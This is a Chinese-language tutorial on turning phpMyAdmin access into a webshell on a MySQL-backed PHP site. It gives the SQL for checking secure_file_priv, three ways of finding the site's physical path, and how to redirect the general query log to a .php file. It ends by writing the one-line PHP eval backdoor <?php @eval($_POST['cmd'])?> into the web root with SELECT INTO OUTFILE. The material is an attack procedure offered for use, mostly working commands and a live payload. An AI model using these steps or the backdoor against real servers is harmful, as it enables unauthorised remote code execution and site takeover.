前置要求:
1.进入phpmyadmin的管理后台,确保当前进行操作的用户具备读写文件的权限
2.获取网站的物理路径
查询写入的路径是否被限制
show global variables 显示MySQL服务器的全局变量值。
like ‘%secure%’ like关键字用于在查询中进行模式匹配,%是一个通配符,表示匹配任何数量的字符(包括零个字符)。
show global variables like '%secure%'; 查询包含 secure 字符串的全局变量名。
【说明】secure_file_priv 是MySQL中的一个系统变量,用于限制 LOAD DATA, SELECT … INTO OUTFILE 和 LOAD_FILE() 等文件操作的路径。
secure_file_priv 参数:
- 当值被设置为一个目录的路径时(如 /tmp),只有该目录(或其子目录)中的文件可以被上述操作访问。
- secure_file_priv 的值为 NULL,则禁止这些文件操作。
- 当值什么都没有设定(上图),就可以进行读写操作。
获取网站物理路径
1-通过web报错信息:可以通过访问各种不存在的目录尝试让网页,有可能爆出绝对路径。
2-通过 phpinfo() 获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT
3-如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径
show variables like '%datadir%';
或者
select @@basedir;
通过日志写入木马
原理:我们执行的每一个 sql 语句都会被保存到日志中,如果把这个日志文件重名为 .php 文件,然后我们在执行一次 sql 语句,那么就会被保存在这个 .php 文件中,这样就能顺利拿到webshell。
查询日志写入功能是否开启
show VARIABLES LIKE '%gen%'
开启日志写入功能
set GLOBAL general_log = on 日志保存状态开启
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' 修改日志的保存位置。(具体路径还需根据实际情况)
再次查询可以看到日志备份功能开启了
写入一句话木马
SELECT '<?php @eval($_POST["cmd"])?>' INTO OUTFILE 'C:/phpStudy/WWW/shell.php' ;
这样网站目录下生成了一个 shell.php 的文件,一句话木马已经被我们写入。